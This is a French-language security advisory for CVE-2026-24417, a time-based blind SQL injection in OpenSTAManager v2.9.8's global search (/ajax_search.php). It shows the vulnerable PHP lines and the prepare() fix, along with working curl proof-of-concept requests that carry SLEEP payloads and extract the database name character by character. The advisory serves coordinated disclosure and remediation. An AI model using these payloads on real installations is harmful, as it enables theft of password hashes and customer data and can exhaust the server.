
CVE-2026-24417 - OpenSTAManager présente une injection SQL aveugle basée sur le temps avec un déni de service amplifié.
| Champ | Détails |
|---|
| ID CVE | CVE-2026-24417 |
| Sévérité | HIGH |
| Avis de sécurité | Voir l'avis |
| Découvert par | Lukasz Rybak |
Une vulnérabilité critique d'injection SQL aveugle basée sur le temps affectant plusieurs modules de recherche dans OpenSTAManager v2.9.8 permet à des attaquants authentifiés d'extraire le contenu sensible de la base de données, notamment les empreintes de mots de passe, les données clients et les enregistrements financiers, par des attaques d'inférence booléenne basées sur le temps avec exécution amplifiée sur plus de 10 modules.
Statut : ✅ Confirmé et testé sur une instance en direct (v2.9.8)
Paramètre vulnérable : term (GET)
Point de terminaison affecté : /ajax_search.php
Modules affectés : Articoli, Ordini, DDT, Fatture, Preventivi, Anagrafiche, Impianti, Contratti, Automezzi, Interventi
OpenSTAManager v2.9.8 contient une vulnérabilité critique d'injection SQL aveugle basée sur le temps dans la fonctionnalité de recherche globale. L'application ne parvient pas à nettoyer correctement le paramètre term avant de l'utiliser dans des clauses SQL LIKE au sein de plusieurs gestionnaires de recherche spécifiques aux modules, permettant aux attaquants d'injecter des commandes SQL arbitraires et d'extraire des données sensibles par inférence booléenne basée sur le temps.
Chaîne de vulnérabilité :
Point d'entrée : /ajax_search.php (Lignes 30-31)
$term = get('term');
$term = str_replace('/', '\\/', $term);
Le paramètre $term subit un nettoyage minimal (uniquement le remplacement des barres obliques).
Distribution : /src/AJAX.php::search() (Lignes 159-161)
$files = self::find('ajax/search.php');
array_unshift($files, base_dir().'/ajax_search.php');
foreach ($files as $file) {
$module_results = self::getSearchResults($file, $term);
Le $term non nettoyé est transmis à tous les gestionnaires de recherche spécifiques aux modules.
Exécution : /src/AJAX.php::getSearchResults() (Ligne 373)
require $file;
Le fichier search.php de chaque module est inclus avec la variable $term dans la portée.
Requêtes SQL vulnérables : Plusieurs modules concatènent directement $term sans prepare()
Tous les fichiers affectés (10+ instances vulnérables) :
/modules/articoli/ajax/search.php - Ligne 51 (EXEMPLE PRINCIPAL)
foreach ($fields as $name => $value) {
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
}
$rs = $dbo->fetchArray($query);
Impact : Concaténation directe sans prepare(), permettant une injection SQL complète.
/modules/ordini/ajax/search.php - Lignes 43, 47
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
$query .= '... WHERE `mg_articoli`.`codice` LIKE "%'.$term.'%" OR `mg_articoli_lang`.`title` LIKE "%'.$term.'%"';
/modules/ddt/ajax/search.php - Lignes 43, 47
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/fatture/ajax/search.php - Lignes 45, 49
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/preventivi/ajax/search.php - Lignes 45, 49
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/anagrafiche/ajax/search.php - Lignes 62, 107, 162
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/impianti/ajax/search.php - Ligne 46
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
Correctement nettoyés (NON vulnérables) :
/modules/contratti/ajax/search.php - Utilise prepare() correctement/modules/automezzi/ajax/search.php - Utilise prepare() correctementRemarque : La vulnérabilité a une exécution amplifiée : une seule requête malveillante déclenche une injection SQL sur TOUS les modules vulnérables simultanément, ce qui fait que les attaques basées sur le temps s'exécutent 10 fois ou plus par requête, multipliant le délai et conduisant à des erreurs 504 Gateway Time-out, comme observé sur l'instance de démonstration en direct.

Étape 1 : Connexion
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
Étape 2 : Vérification de la vulnérabilité (SLEEP basé sur le temps)
# Test with SLEEP(1) - should take ~85+ seconds due to amplified execution
time curl -s -b /tmp/cookies.txt \
'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(1)%20OR%20%22'
# Result: real 72.29s
# Test with SLEEP(0) - should be fast
time curl -s -b /tmp/cookies.txt \
'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(0)%20OR%20%22'
# Result: real 0.30s

Étape 3 : Extraction de données - Nom de la base de données
# Extract first character of database name (expected: 'o' from 'openstamanager')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \
> /dev/null
# Result: real 170.32s
# Test with wrong character 'x' - should be fast
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \
> /dev/null
# Result: real 0m0.30s

Utilisateurs concernés : Tous les utilisateurs authentifiés ayant accès à la fonctionnalité de recherche globale.
Correctif recommandé :
Remplacez toutes les instances de concaténation directe de $term par prepare() :
AVANT (Vulnérable) :
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
APRÈS (Corrigé) :
$query .= ' OR '.$value.' LIKE '.prepare('%'.$term.'%');
Appliquez ce correctif à TOUS les fichiers affectés :
/modules/articoli/ajax/search.php - Ligne 51/modules/ordini/ajax/search.php - Lignes 43, 47, 79/modules/ddt/ajax/search.php - Lignes 43, 47, 83/modules/fatture/ajax/search.php - Lignes 45, 49, 85/modules/preventivi/ajax/search.php - Lignes 45, 49, 83/modules/anagrafiche/ajax/search.php - Lignes 62, 107, 162/modules/impianti/ajax/search.php - Ligne 46Cette CVE a été divulguée de manière responsable, conformément aux pratiques de divulgation coordonnée des vulnérabilités. Les informations fournies ici le sont uniquement à des fins éducatives et défensives.